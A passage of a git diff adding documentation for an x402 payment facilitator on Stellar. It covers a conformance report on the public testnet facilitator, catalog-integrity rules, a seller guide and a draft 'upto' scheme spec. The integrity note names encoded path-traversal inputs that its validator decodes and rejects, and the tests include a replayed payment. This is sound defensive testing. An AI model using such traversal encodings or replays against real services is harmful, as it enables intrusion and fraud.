`https://x402.org/facilitator` (no API key required) | +| Network | `stellar:testnet` | +| Scheme | `exact` | +| Spec | [`scheme_exact_stellar.md`](https://github.com/x402-foundation/x402/blob/main/specs/schemes/exact/scheme_exact_stellar.md) @ `c4d2de655d1dfca63f54100e32de019b26aaacdd` (2026-07-17, "fix stellar tx fee (#2852)") | +| Client | `@stellar/stellar-sdk` **16.2.0**, unmodified — stock `simulateTransaction`, `authorizeEntry`, `assembleTransaction`. No patched SDK, no local shims. | +| Date | 2026-08-31 | + +**Scope note, stated plainly:** this is *not* a run of the x402 repository's own +e2e suite. That suite is not currently runnable against an arbitrary facilitator +without vendoring its harness. What was done instead is the check the RFP +actually describes — building a canonical client straight from the published +spec with the stock SDK, and completing a payment end to end. Where that is a +weaker signal than running their suite, it is a stronger one than reading the +spec, and the settled transaction hash below is verifiable by anyone. + +## Headline result: a payment settled end to end + +A real `exact` payment on `stellar:testnet`, verified and settled by the public +facilitator, with a client that had never been pointed at it before. + +| | | +| --- | --- | +| Transaction | [`988dca9e7a204a59534912ff502fd81056f571e35f2cb87812bdfdc3292d9f17`](https://stellar.expert/explorer/testnet/tx/988dca9e7a204a59534912ff502fd81056f571e35f2cb87812bdfdc3292d9f17) | +| Ledger | 4425809 | +| Result | `successful: true` | +| Payer | `GBJ72MK5OQ3N2X2DZGUCBHFZM62UA4W3B7ZKKY53NREMYWBSMLQMBWND` | +| Recipient | `GD7FSGAFENIMMKU5QZZR76O53NNSL7QQ6NFGROXKA26JX4FYXNN363OF` — balance went to exactly `1.0000000` | +| Asset | `CDBH3ITPRJRLINW5TKQCEFARO6UCUZZBGPBVT6QGZJ7WQQ2VOTYND2OM` (a SAC deployed for this test) | + +**Fee sponsorship is real, not just advertised.** The submitted transaction's +source account is `GC6CSXBV4C6RL3HEDTW57KXYXSSXKAWKGYDEOSATXM3XNKXSR2VRYN3K` — +the facilitator's own account, not the payer's — and the 23,059 stroop fee was +charged to it. `extra.areFeesSponsored: true` is therefore backed by observed +behaviour. (23,059 stroops also sits comfortably under the spec's 50,000-stroop +default ceiling.) + +## `/supported`, captured verbatim + +`GET https://x402.org/facilitator/supported` → `200`. The Stellar entry: + +```json +{ "x402Version": 2, "scheme": "exact", "network": "stellar:testnet", "extra": { "areFeesSponsored": true } } +``` + +This matches the RFP's stated contract exactly: the Stellar `extra` block is +present, `areFeesSponsored` is `true`, and the identifier is CAIP-2. + +All 11 advertised kinds: + +| x402Version | scheme | network | extra | +| --- | --- | --- | --- | +| 2 | `exact` | `eip155:84532` | — | +| 2 | `upto` | `eip155:84532` | `facilitatorAddress` | +| 2 | `batch-settlement` | `eip155:84532` | — | +| 2 | `exact` | `solana:EtWTRABZaYq6iMfeYKouRu166VU2xqa1` | `feePayer`, `features.smartWalletSupported` | +| 2 | `exact` | `algorand:SGO1GKSzyE7IEPItTxCByw9x8FmnrCDe` | `feePayer` | +| 2 | `exact` | `aptos:2` | `feePayer` | +| 2 | `exact` | **`stellar:testnet`** | `areFeesSponsored: true` | +| 2 | `exact` | `hedera:testnet` | `feePayer` | +| 2 | `exact` | `xrpl:1` | `areFeesSponsored: false` | +| 1 | `exact` | `base-sepolia` | — | +| 1 | `exact` | `solana-devnet` | — | + +Two things to note. **Stellar mainnet is not served** — `stellar:testnet` is the +only Stellar entry, so nothing about mainnet behaviour can be inferred from this +facilitator. And **CAIP-2 holds only for `x402Version: 2`**: the two v1 entries +use the legacy non-CAIP-2 names `base-sepolia` and `solana-devnet`. A client that +reads `/supported` and assumes CAIP-2 throughout will mis-parse those two rows. + +## Rejection reasons: does every rejection carry one? + +The RFP's requirement is that every rejection carries a non-null `reason`. Fed +deliberately bad input, the answer is **yes for `invalidReason`, and no for +anything human-readable**. Results, all live: + +### Structural checks against a real signed payload + +Each of these starts from the *same* valid payload that settled above, with one +field changed — so a specific reason is genuinely available to the facilitator. + +| Input | HTTP | `invalidReason` | Verdict | +| --- | --- | --- | --- | +| Control, unmodified | 200 | — (`isValid: true`) | ✅ | +| `requirements.payTo` ≠ transaction's `to` | 200 | `invalid_exact_stellar_payload_wrong_recipient` | ✅ specific | +| `requirements.asset` ≠ transaction's contract | 200 | `invalid_exact_stellar_payload_wrong_asset` | ✅ specific | +| `requirements.amount` ≠ transaction's amount | 200 | `invalid_exact_stellar_payload_wrong_amount` | ✅ specific | +| Auth expiration `+100` ledgers (cap is `+12`) | 200 | `invalid_exact_stellar_signature_expiration_too_far` | ✅ specific | +| Auth expiration `+1000` | 200 | `invalid_exact_stellar_signature_expiration_too_far` | ✅ specific | +| Auth expiration `+100000` | 200 | `invalid_exact_stellar_signature_expiration_too_far` | ✅ specific | +| **Auth expiration 50 ledgers in the past** | 200 | `invalid_exact_stellar_payload_simulation_failed` | ⚠️ generic | +| **Replay of the already-settled payload** | 200 | `invalid_exact_stellar_payload_simulation_failed` | ⚠️ generic | +| Source-account auth credential (not address) | 200 | `invalid_exact_stellar_payload_unsupported_credential_type` | ✅ specific | + +Spec §3's expiration ceiling is enforced properly, with its own named reason. The +opposite direction is not: an entry that has **already expired** is caught only +when simulation fails, and reports the same generic reason as a replay, an +insufficient balance, or any other state problem. + +### Malformed payloads + +| Input | HTTP | `invalidReason` | +| --- | --- | --- | +| Empty body | 400 | `missing_parameters` | +| `paymentPayload` only | 400 | `missing_parameters` | +| `paymentRequirements` only | 400 | `missing_parameters` | +| Payload/requirements scheme mismatch | 200 | `unsupported_scheme` | +| Payload/requirements network mismatch | 200 | `network_mismatch` | +| Missing `payload.transaction` | 200 | `invalid_exact_stellar_payload_malformed` | +| `transaction` not base64 | 200 | `invalid_exact_stellar_payload_malformed` | +| `transaction` valid base64, not XDR | 200 | `invalid_exact_stellar_payload_malformed` | +| `transaction` empty string | 200 | `invalid_exact_stellar_payload_malformed` | +| **`x402Version: 1` on `stellar:testnet`** | **500** | `unexpected_error` | +| **`network: stellar:pubnet` (not advertised)** | **500** | `unexpected_error` | +| **`scheme: upto` on Stellar (not advertised)** | **500** | `unexpected_error` | + +### `payload: { transaction }` accepted verbatim? + +**Yes.** The spec's `payload` shape was sent exactly as published — a single +`transaction` key holding base64 XDR — inside the spec's full `PaymentPayload` +envelope with `x402Version`, `resource` and `accepted`. It was accepted with no +adjustment on the first attempt. + +## Divergences found + +### 1. Unsupported network or scheme returns HTTP 500, not a rejection + +The single most consequential finding. Asking for something the facilitator does +not serve — `stellar:pubnet`, or `upto` on Stellar — produces: + +``` +HTTP 500 +{"isValid":false,"invalidReason":"unexpected_error", + "invalidMessage":"No facilitator registered for scheme: exact and network: stellar:pubnet", + "error":"No facilitator registered for scheme: exact and network: stellar:pubnet"} +``` + +A client asking for an unsupported combination has made a **client** error, and +`/supported` already publishes the correct answer. Returning `500` tells every +well-behaved HTTP client that the *server* failed and the request should be +retried — so a stock client will hammer a facilitator that will never say yes. + +Worse, `x402Version: 1` with `network: stellar:testnet` produces the same 500 +with the message *"No facilitator registered for scheme: exact and network: +stellar:testnet"* — which is **untrue as written**. That pair is registered; it +is registered at `x402Version: 2`. The message names the scheme and network but +omits the version, which is the field that actually caused the miss, and so +misdirects anyone debugging it. + +### 2. Rejections carry no `invalidMessage` + +Every structured rejection is exactly `{"isValid":false,"invalidReason":"…"}`, +sometimes with `payer`. The `invalidMessage` field is **absent entirely** — not +null, not empty. It appears only on the `500`/`400` paths, which are the ones a +human is least likely to need it on. So the rejections that matter carry a +machine-readable code and no human-readable detail. + +### 3. Already-expired and replayed payloads are indistinguishable + +Both report `invalid_exact_stellar_payload_simulation_failed`, which is also what +an insufficient balance or a stale ledger state reports. These need different +client responses — re-sign with a fresh expiration (retryable) versus stop, the +payment is already spent (terminal) — and a client cannot tell them apart. The +spec has explicit rules for expiry, so a specific reason is available. + +### 4. The `payer` field is echoed inconsistently + +`payer` comes back on `wrong_recipient`, `wrong_amount`, `unsupported_credential_type`, +`simulation_failed` and on success — but **not** on `wrong_asset`. A resource +server keying its own bookkeeping off `payer` will find it missing for exactly +one rejection class. + +### 5. `/supported` mixes CAIP-2 and legacy network identifiers + +Covered above: the `x402Version: 1` rows use `base-sepolia` and `solana-devnet`. +Defensible as legacy compatibility, but it means "parse `network` as CAIP-2" is +wrong against this endpoint unless the version is checked first. + +## Other facilitators + +### `facilitator.stellar.org` — does not exist + +**This is Lens's own hard-coded default.** `src/middleware/x402.ts` and +`src/api/websocket.ts` both fall back to `https://facilitator.stellar.org` when +`X402_FACILITATOR_URL` is unset. + +The host does not resolve. Google Public DNS returns `Status: 3` (NXDOMAIN) for +`facilitator.stellar.org.`, with the SOA for `stellar.org.` in the authority +section — the parent zone exists, the label does not: + +``` +$ curl 'https://dns.google/resolve?name=facilitator.stellar.org&type=A' +{"Status":3, ... "Authority":[{"name":"stellar.org.","type":6, ...}]} +``` + +This is precisely the "advertised support and reachable support are not the same +thing" gap the RFP describes, except it is ours. Any deployment of Lens that has +not set `X402_FACILITATOR_URL` is gating paid routes behind a facilitator that +cannot be reached. Tracked separately — it is a Lens bug, not a conformance +finding, and it should be fixed before it reaches anyone's deployment. + +### Coverage limits + +No other facilitator advertising Stellar support was reachable without +credentials at the time of writing. Coinbase's facilitator requires an API key, +which puts it outside the "same stock client, no privileged access" bar this +document holds itself to. When a second Stellar-serving facilitator becomes +publicly reachable, the tables above are the harness to re-run against it. + +## What this means for Lens's facilitator + +Concrete requirements for #124, #125 and #126, derived from the gaps above +rather than from taste: + +1. **Never return `5xx` for a client error.** Unsupported scheme, network or + version is a rejection with a reason, not a server fault. This is finding 1 + and it is the one most likely to cause real interop pain. +2. **Include the version in any "not supported" message**, since version is a + routing dimension and omitting it produces actively false messages. +3. **Populate `invalidMessage` on every rejection.** The code is for the machine; + the message is what saves an integrator an afternoon. +4. **Give expiry and replay their own reasons.** `simulation_failed` should mean + "simulation failed for a reason I could not classify", not "one of four + completely different things". +5. **Echo `payer` on every response that knows it**, without exception. +6. **Match the reasons that already work**: `wrong_recipient`, `wrong_asset`, + `wrong_amount`, `signature_expiration_too_far` and + `unsupported_credential_type` are all specific and correct in the reference + implementation. Lens should emit the same identifiers for the same conditions + so a client can treat both facilitators uniformly — that is what conformance + is for. + +## Reproducing this + +The client is stock `@stellar/stellar-sdk` 16.2.0 driving the flow the spec +describes: + +1. Build an `invokeHostFunction` calling `transfer(from, to, amount)` on the SAC. +2. `simulateTransaction` to obtain the required auth entries. +3. `authorizeEntry(entry, payerKeypair, currentLedger + ceil(maxTimeoutSeconds / 5), passphrase)`. +4. `assembleTransaction`, then replace the operation's auth with the signed entries. +5. `toXDR()` into `payload.transaction`, and POST to `/verify`, then `/settle`. + +One detail worth recording, because it costs an hour to find: **the transaction +source account must differ from the payer.** If the client builds the transaction +with the payer as source, Soroban simulation returns a +`sorobanCredentialsSourceAccount` auth entry, and the facilitator correctly +rejects it with `invalid_exact_stellar_payload_unsupported_credential_type` — +spec §3 permits `sorobanCredentialsAddress` only. Using any other funded account +as the source makes simulation emit an address credential for the payer, which +is what the sponsored flow requires. The spec implies this but does not say it +outright. diff --git a/docs/x402/bazaar-catalog-integrity.md b/docs/x402/bazaar-catalog-integrity.md index 7c3d4a28..51999a4a 100644 --- a/docs/x402/bazaar-catalog-integrity.md +++ b/docs/x402/bazaar-catalog-integrity.md @@ -1,102 +1,102 @@ -# Bazaar catalog integrity - -The Bazaar catalog is written from the payment payload. Clients echo the -resource block into it, so the facilitator is a trust boundary: **anyone who -can pay can attempt to write to the index.** This note describes what is -enforced at that boundary, and what an attacker who is willing to pay can still -attempt. - -## The two doors into the catalog - -| Path | Trust | Validation | -|---|---|---| -| `registerBazaarResource(input)` | Trusted — Lens listing its own endpoints | None; the caller is us | -| `submitCatalogListing(input, authority)` | Untrusted — a listing carried by a client's payment | Everything below | - -`authority` is `{ payTo, network }` taken from the payment requirements the -payer signed. It is the one fact about a listing that cannot be forged, and -every ownership decision is anchored to it. - -## What is enforced - -**Seller identity.** Every `accepts[].payTo` must equal the payment's own -`payTo`, and the listing's network must equal the payment's network. A listing -can therefore only ever speak for the seller that paid to publish it. - -**First claim wins.** A resource identity — `(network, url, httpMethod)` for -HTTP, `(network, url, toolName)` for MCP — belongs to the `payTo` that -registered it first. Its owner can update it forever; anyone else is refused, -which is what stops a payer from repointing another seller's entry at their own -endpoint or pricing. - -**`routeTemplate`, decoded before it is checked.** The template is -percent-decoded to a fixed point *first*, and the traversal checks run on the -decoded form. `%2e%2e%2f` is `../`; a validator that inspects the raw string and -decodes later waves it straight through, and one that decodes only once is -defeated by `%252e%252e%252f`. A value still changing after four decode passes -is dropped rather than decoded further. The decoded form is what gets stored, so -the value served is the value that was validated. Beyond traversal, a template -must be a path (no scheme, no `//`, no query or fragment, no backslash, no -control characters), must use `:param` names matching -`[A-Za-z_][A-Za-z0-9_]*` without repeats, and must structurally describe the -path of `resource.url` — otherwise a listing could consolidate itself under -another seller's route family. - -**Field limits.** Length, type and character-class limits on every stored -field (see `CATALOG_LIMITS` in `src/bazaar/validation.ts`), a byte ceiling on -`bazaar.info` and `bazaar.schema`, `https` only for `resource.url` and -`iconUrl` with no embedded credentials, atomic-unit amounts, and a bounded -`maxTimeoutSeconds`. An unbounded description is both a storage problem and a -search-ranking problem. - -**Rate limiting per `payTo`.** `BAZAAR_CATALOG_WRITES_PER_MIN` (default 10) and -`BAZAAR_CATALOG_WRITES_PER_DAY` (default 200). The attempt is counted before -the decision, so a rejected write still costs its slot. If Redis is -unreachable the limiter fails **closed** — at a trust boundary, "I cannot tell -whether this payer is flooding" is not a reason to accept the write. The -payment is unaffected either way. - -**Untrusted at read time too.** Control characters are stripped when a row is -served, not only when it is written: rows predate this validation, and a value -that is harmless inside JSON can still be harmful to whatever renders it. - -## Soft drop - -Invalid metadata never fails the payment. The payment is legitimate; only the -listing is bad. `submitCatalogListing` returns -`{ accepted, drops }` and never throws, and `toExtensionResponses(drops)` -builds the `EXTENSION-RESPONSES` body so the seller is told which field was -rejected and why: - -```json -{ - "bazaar": { - "catalog": { - "accepted": false, - "drops": [ - { - "field": "extensions.bazaar.routeTemplate", - "code": "path_traversal", - "message": "routeTemplate contains a path traversal segment." - } - ] - } - } -} -``` - -`code` is stable and machine-readable — an agent branches on it rather than -parsing `message`. `message` never echoes the offending value back. - -## What an attacker who can pay can still attempt - -- **Squatting an unclaimed identity.** First claim wins, so a payer can - register a URL they do not operate, as long as nobody registered it first. - What they cannot do is claim someone else's `payTo`, so the listing is - attributable and revocable. Binding a listing to proof of control over its - domain would close this, and is not in this change. -- **Paying for their slots.** Rate limits bound the flood per `payTo`; funding - many addresses buys proportionally more slots, at the cost of a payment per - write. -- **Truthful but useless metadata.** Nothing here judges whether a description - is accurate. That is a ranking problem, and belongs to search (#129). +# Bazaar catalog integrity + +The Bazaar catalog is written from the payment payload. Clients echo the +resource block into it, so the facilitator is a trust boundary: **anyone who +can pay can attempt to write to the index.** This note describes what is +enforced at that boundary, and what an attacker who is willing to pay can still +attempt. + +## The two doors into the catalog + +| Path | Trust | Validation | +|---|---|---| +| `registerBazaarResource(input)` | Trusted — Lens listing its own endpoints | None; the caller is us | +| `submitCatalogListing(input, authority)` | Untrusted — a listing carried by a client's payment | Everything below | + +`authority` is `{ payTo, network }` taken from the payment requirements the +payer signed. It is the one fact about a listing that cannot be forged, and +every ownership decision is anchored to it. + +## What is enforced + +**Seller identity.** Every `accepts[].payTo` must equal the payment's own +`payTo`, and the listing's network must equal the payment's network. A listing +can therefore only ever speak for the seller that paid to publish it. + +**First claim wins.** A resource identity — `(network, url, httpMethod)` for +HTTP, `(network, url, toolName)` for MCP — belongs to the `payTo` that +registered it first. Its owner can update it forever; anyone else is refused, +which is what stops a payer from repointing another seller's entry at their own +endpoint or pricing. + +**`routeTemplate`, decoded before it is checked.** The template is +percent-decoded to a fixed point *first*, and the traversal checks run on the +decoded form. `%2e%2e%2f` is `../`; a validator that inspects the raw string and +decodes later waves it straight through, and one that decodes only once is +defeated by `%252e%252e%252f`. A value still changing after four decode passes +is dropped rather than decoded further. The decoded form is what gets stored, so +the value served is the value that was validated. Beyond traversal, a template +must be a path (no scheme, no `//`, no query or fragment, no backslash, no +control characters), must use `:param` names matching +`[A-Za-z_][A-Za-z0-9_]*` without repeats, and must structurally describe the +path of `resource.url` — otherwise a listing could consolidate itself under +another seller's route family. + +**Field limits.** Length, type and character-class limits on every stored +field (see `CATALOG_LIMITS` in `src/bazaar/validation.ts`), a byte ceiling on +`bazaar.info` and `bazaar.schema`, `https` only for `resource.url` and +`iconUrl` with no embedded credentials, atomic-unit amounts, and a bounded +`maxTimeoutSeconds`. An unbounded description is both a storage problem and a +search-ranking problem. + +**Rate limiting per `payTo`.** `BAZAAR_CATALOG_WRITES_PER_MIN` (default 10) and +`BAZAAR_CATALOG_WRITES_PER_DAY` (default 200). The attempt is counted before +the decision, so a rejected write still costs its slot. If Redis is +unreachable the limiter fails **closed** — at a trust boundary, "I cannot tell +whether this payer is flooding" is not a reason to accept the write. The +payment is unaffected either way. + +**Untrusted at read time too.** Control characters are stripped when a row is +served, not only when it is written: rows predate this validation, and a value +that is harmless inside JSON can still be harmful to whatever renders it. + +## Soft drop + +Invalid metadata never fails the payment. The payment is legitimate; only the +listing is bad. `submitCatalogListing` returns +`{ accepted, drops }` and never throws, and `toExtensionResponses(drops)` +builds the `EXTENSION-RESPONSES` body so the seller is told which field was +rejected and why: + +```json +{ + "bazaar": { + "catalog": { + "accepted": false, + "drops": [ + { + "field": "extensions.bazaar.routeTemplate", + "code": "path_traversal", + "message": "routeTemplate contains a path traversal segment." + } + ] + } + } +} +``` + +`code` is stable and machine-readable — an agent branches on it rather than +parsing `message`. `message` never echoes the offending value back. + +## What an attacker who can pay can still attempt + +- **Squatting an unclaimed identity.** First claim wins, so a payer can + register a URL they do not operate, as long as nobody registered it first. + What they cannot do is claim someone else's `payTo`, so the listing is + attributable and revocable. Binding a listing to proof of control over its + domain would close this, and is not in this change. +- **Paying for their slots.** Rate limits bound the flood per `payTo`; funding + many addresses buys proportionally more slots, at the cost of a payment per + write. +- **Truthful but useless metadata.** Nothing here judges whether a description + is accurate. That is a ranking problem, and belongs to search (#129). diff --git a/docs/x402/bazaar-seller-guide.md b/docs/x402/bazaar-seller-guide.md index 830aa939..551e60e9 100644 --- a/docs/x402/bazaar-seller-guide.md +++ b/docs/x402/bazaar-seller-guide.md @@ -1,115 +1,115 @@ -# Declaring a discoverable, priced endpoint - -Seller-side helpers for the x402 Bazaar discovery extension. The goal from §3.6 -of the RFP: **from docs to a paid, discoverable endpoint in well under an hour.** - -## Why per-parameter descriptions are the whole point - -The buyer is software. An agent choosing between two price feeds cannot open -your docs — it has only what your listing declares. `GET /price/:assetA/:assetB` -tells it almost nothing. The same endpoint with each parameter's accepted form -spelled out, the response described, and the price stated is *selectable*. - -Ranking (#129) can only rank on what is declared, so metadata quality is the -ceiling on search quality no matter how good the retrieval is. That is why -`description` is the **first positional argument** of every parameter -constructor, and why a declaration missing one does not validate. It is not a -warning you can ship past. - -## The short version - -```ts -import { declareHttpResource, assertDeclaration, param } from './bazaar/declare' - -const pathParams = { - assetA: param.string('Base asset, as "XLM" or "CODE:ISSUER".', { example: 'XLM' }), - assetB: param.string('Quote asset, same form as assetA. Price is assetA in assetB.'), -} - -export const priceListing = assertDeclaration( - declareHttpResource({ - url: 'https://lens.example/price/:assetA/:assetB', - method: 'GET', - network: 'testnet', - routeTemplate: '/price/:assetA/:assetB', - description: 'Unified Stellar price for an asset pair, across SDEX and AMM pools.', - accepts: [{ scheme: 'exact', amount: '100000', asset: 'USDC', payTo: PAY_TO, maxTimeoutSeconds: 60 }], - pathParams, - output: { type: 'object', properties: { price: { type: 'string', description: 'Mid price, decimal string.' } } }, - }), - { pathParams, routeTemplate: '/price/:assetA/:assetB' }, -) -``` - -That is the whole declaration. It produces a complete -`RegisterBazaarResourceInput` — resource block, `accepts`, and the -`extensions.bazaar` declaration with a proper JSON Schema — and throws at module -load if anything is wrong. - -## Parameters - -| Constructor | Emits | -| --- | --- | -| `param.string(description, opts?)` | `{ type: 'string', description }` | -| `param.number(description, opts?)` | `{ type: 'number', description }` | -| `param.integer(description, opts?)` | `{ type: 'integer', description }` | -| `param.boolean(description, opts?)` | `{ type: 'boolean', description }` | -| `param.enumOf(values, description, opts?)` | `{ type: 'string', enum: values, description }` | - -`opts` takes `required` (default `true`), `example` and `default`. An `example` -is worth more to an agent than another sentence of prose — give it a value it -can copy. - -Parameters go into `pathParams`, `queryParams` (GET/HEAD/DELETE) or `body` -(POST/PUT/PATCH); the helper picks the right slot from the method and sets -`bodyType` for you. Each set becomes a JSON Schema object with -`additionalProperties: false` and a `required` list built from the flags. - -## MCP tools - -Same idea, one call: - -```ts -declareMcpTool({ - url: 'https://lens.example/mcp', - network: 'testnet', - toolName: 'get_price', - transport: 'streamable-http', - description: 'Unified Stellar price for an asset pair.', - accepts, - input: { assetA: param.string('Base asset, as "XLM" or "CODE:ISSUER".') }, -}) -``` - -## Validation happens before anything is sent - -`validateDeclaration(listing, spec)` returns -`{ ok: true, listing }` or `{ ok: false, problems }`. Each problem carries the -same `{ field, code, message }` shape the catalog uses for soft drops, so what -you see locally is what the catalog would have told you — except you see it at -development time rather than in an `EXTENSION-RESPONSES` header in production. - -It runs the catalog's **own** `validateListing` under the hood, so the two -cannot drift apart, then adds the rules the catalog cannot enforce because by -then the metadata is all it has: - -| Code | Meaning | -| --- | --- | -| `missing_param_description` | A parameter has no description | -| `param_description_too_short` | Under 12 characters — name the accepted values, not the field | -| `weak_resource_description` | The resource description is missing or too short to rank on | -| `undeclared_route_param` | `routeTemplate` names a `:param` absent from `pathParams` | -| `missing_accepts` | No payment requirement — not discoverable as a paid endpoint | - -`assertDeclaration()` is the same check that throws, listing every problem with -its field path. Call it at module load on your own listings: a malformed listing -then fails the boot, instead of quietly never appearing in the Bazaar. - -## Lens's own endpoints - -`src/bazaar/lensListings.ts` declares the routes `src/middleware/x402.ts` gates -— `/price/:assetA/:assetB`, `/candles/:assetA/:assetB`, `/pools` and -`/price/twap/:assetA/:assetB` — using exactly these helpers, with the MCP face -of the price feed alongside. They go through `assertDeclaration` at module load. -If declaring metadata for our own price feed were awkward, it would be awkward -for everyone, and this is where we would find that out. +# Declaring a discoverable, priced endpoint + +Seller-side helpers for the x402 Bazaar discovery extension. The goal from §3.6 +of the RFP: **from docs to a paid, discoverable endpoint in well under an hour.** + +## Why per-parameter descriptions are the whole point + +The buyer is software. An agent choosing between two price feeds cannot open +your docs — it has only what your listing declares. `GET /price/:assetA/:assetB` +tells it almost nothing. The same endpoint with each parameter's accepted form +spelled out, the response described, and the price stated is *selectable*. + +Ranking (#129) can only rank on what is declared, so metadata quality is the +ceiling on search quality no matter how good the retrieval is. That is why +`description` is the **first positional argument** of every parameter +constructor, and why a declaration missing one does not validate. It is not a +warning you can ship past. + +## The short version + +```ts +import { declareHttpResource, assertDeclaration, param } from './bazaar/declare' + +const pathParams = { + assetA: param.string('Base asset, as "XLM" or "CODE:ISSUER".', { example: 'XLM' }), + assetB: param.string('Quote asset, same form as assetA. Price is assetA in assetB.'), +} + +export const priceListing = assertDeclaration( + declareHttpResource({ + url: 'https://lens.example/price/:assetA/:assetB', + method: 'GET', + network: 'testnet', + routeTemplate: '/price/:assetA/:assetB', + description: 'Unified Stellar price for an asset pair, across SDEX and AMM pools.', + accepts: [{ scheme: 'exact', amount: '100000', asset: 'USDC', payTo: PAY_TO, maxTimeoutSeconds: 60 }], + pathParams, + output: { type: 'object', properties: { price: { type: 'string', description: 'Mid price, decimal string.' } } }, + }), + { pathParams, routeTemplate: '/price/:assetA/:assetB' }, +) +``` + +That is the whole declaration. It produces a complete +`RegisterBazaarResourceInput` — resource block, `accepts`, and the +`extensions.bazaar` declaration with a proper JSON Schema — and throws at module +load if anything is wrong. + +## Parameters + +| Constructor | Emits | +| --- | --- | +| `param.string(description, opts?)` | `{ type: 'string', description }` | +| `param.number(description, opts?)` | `{ type: 'number', description }` | +| `param.integer(description, opts?)` | `{ type: 'integer', description }` | +| `param.boolean(description, opts?)` | `{ type: 'boolean', description }` | +| `param.enumOf(values, description, opts?)` | `{ type: 'string', enum: values, description }` | + +`opts` takes `required` (default `true`), `example` and `default`. An `example` +is worth more to an agent than another sentence of prose — give it a value it +can copy. + +Parameters go into `pathParams`, `queryParams` (GET/HEAD/DELETE) or `body` +(POST/PUT/PATCH); the helper picks the right slot from the method and sets +`bodyType` for you. Each set becomes a JSON Schema object with +`additionalProperties: false` and a `required` list built from the flags. + +## MCP tools + +Same idea, one call: + +```ts +declareMcpTool({ + url: 'https://lens.example/mcp', + network: 'testnet', + toolName: 'get_price', + transport: 'streamable-http', + description: 'Unified Stellar price for an asset pair.', + accepts, + input: { assetA: param.string('Base asset, as "XLM" or "CODE:ISSUER".') }, +}) +``` + +## Validation happens before anything is sent + +`validateDeclaration(listing, spec)` returns +`{ ok: true, listing }` or `{ ok: false, problems }`. Each problem carries the +same `{ field, code, message }` shape the catalog uses for soft drops, so what +you see locally is what the catalog would have told you — except you see it at +development time rather than in an `EXTENSION-RESPONSES` header in production. + +It runs the catalog's **own** `validateListing` under the hood, so the two +cannot drift apart, then adds the rules the catalog cannot enforce because by +then the metadata is all it has: + +| Code | Meaning | +| --- | --- | +| `missing_param_description` | A parameter has no description | +| `param_description_too_short` | Under 12 characters — name the accepted values, not the field | +| `weak_resource_description` | The resource description is missing or too short to rank on | +| `undeclared_route_param` | `routeTemplate` names a `:param` absent from `pathParams` | +| `missing_accepts` | No payment requirement — not discoverable as a paid endpoint | + +`assertDeclaration()` is the same check that throws, listing every problem with +its field path. Call it at module load on your own listings: a malformed listing +then fails the boot, instead of quietly never appearing in the Bazaar. + +## Lens's own endpoints + +`src/bazaar/lensListings.ts` declares the routes `src/middleware/x402.ts` gates +— `/price/:assetA/:assetB`, `/candles/:assetA/:assetB`, `/pools` and +`/price/twap/:assetA/:assetB` — using exactly these helpers, with the MCP face +of the price feed alongside. They go through `assertDeclaration` at module load. +If declaring metadata for our own price feed were awkward, it would be awkward +for everyone, and this is where we would find that out. diff --git a/docs/x402/scheme_upto_stellar.md b/docs/x402/scheme_upto_stellar.md index b0641589..b56ea381 100644 --- a/docs/x402/scheme_upto_stellar.md +++ b/docs/x402/scheme_upto_stellar.md @@ -1,185 +1,185 @@ -# Scheme: `upto` on `Stellar` - -> Draft specification for the x402 `upto` scheme on Stellar. Stellar currently -> has a specified `exact` scheme upstream but no `upto` scheme; this document -> proposes one, matching the format of the existing `exact` Stellar spec and -> the `upto` specs for EVM and SVM in the -> [x402 protocol repository](https://github.com/x402-foundation/x402). - -## Versions supported - -- ❌ `v1` - we don't plan to support v1 for now. -- ✅ `v2` - -## Supported Networks - -This spec uses [CAIP-2](https://namespaces.chainagnostic.org/stellar/caip2) identifiers: -- `stellar:pubnet` — Stellar mainnet -- `stellar:testnet` — Stellar testnet - -## Summary - -The x402 `upto` scheme on Stellar authorizes a transfer of up to a **maximum amount**, with the actual amount settled after resource consumption is known. As with [`exact` on Stellar][scheme-exact-stellar], the client authorizes via a signed Soroban authorization entry rather than a full transaction signature, and the facilitator sponsors transaction fees. - -> [!NOTE] -> **Scope:** This spec covers [SEP-41]-compliant Soroban tokens **only**. Classic Stellar assets are not supported, matching [`exact` on Stellar][scheme-exact-stellar]. - -## Contract-vs-No-Contract Decision - -**This spec ships a Soroban contract: `x402UptoStellar`.** - -A bare [SEP-41] `approve` / `transfer_from` allowance cannot, on its own, provide the three guarantees the [`upto` core spec][scheme-upto] requires of every network implementation: - -- **Recipient binding** — a SEP-41 allowance authorizes a `spender` to move up to `amount`, to *any* address that spender chooses. It does not bind the transfer to a specific `payTo`. -- **Single-use authorization** — a SEP-41 allowance is a standing balance the spender can draw down across many calls; it has no built-in single-settlement or replay-protection semantics. -- **Time-bound authorization with an explicit `validAfter`/deadline pair** — SEP-41's `approve` supports an expiration ledger, but not a `validAfter` start bound, and nothing stops the spender from settling more than once before expiry. - -This mirrors the precedent already set by the two implemented networks: EVM does not rely on a bare ERC-20 `approve` either — it ships the purpose-built `x402UptoPermit2Proxy` contract, which wraps Permit2's witness pattern to add recipient binding, a nonce, and settle-time cap enforcement. SVM ships the `payment-channels` program for the same reason. A Stellar design that stopped at "the client approves the facilitator" would be strictly weaker than both existing implementations, not merely different from them — so this spec does not offer a contract-free path. - -The `x402UptoStellar` contract is intentionally thin: it does not escrow the client's funds up front (unlike SVM's channel model). Instead, it composes with a standard SEP-41 `approve`, and adds the missing recipient binding, nonce, and cap enforcement as a signed-authorization wrapper around `transfer_from`, closer in spirit to the EVM Permit2 witness pattern than to SVM's escrow. This keeps capital efficient (no funds are locked before settlement) and keeps the per-request signing step off-chain and free, consistent with how `exact` on Stellar already uses auth-entry signing instead of on-chain transactions for the client's half of the flow. - -## Summary of the Flow - -1. **Client** performs a one-time (or periodic) [SEP-41] `approve(spender: , amount: , expiration_ledger)` on the token contract. This is an on-chain transaction, analogous to EVM's Phase 1 Permit2 approval — it is not part of the per-request payment flow and is skipped on subsequent requests while the allowance remains sufficient and unexpired. -2. **Resource Server** responds `402 Payment Required` with `PaymentRequirements` for `upto`, including `extra.uptoContract` (the `x402UptoStellar` contract address) and `extra.facilitatorAddress`. -3. **Client** signs a Soroban authorization entry for `x402UptoStellar.settle_upto(from, to, asset, max_amount, facilitator, nonce, expiration_ledger)`, with `max_amount` set to the authorized ceiling for this request (this is the `PaymentRequirements.amount` field at verification time), `to` set to `requirements.payTo`, and `facilitator` set to `extra.facilitatorAddress`. Expiration is derived from `maxTimeoutSeconds` exactly as in `exact` on Stellar. -4. **Client** serializes the signed authorization entry (base64 XDR) and sends it to the resource server as the `PaymentPayload`. -5. **Resource Server** forwards the payload to the **Facilitator**'s 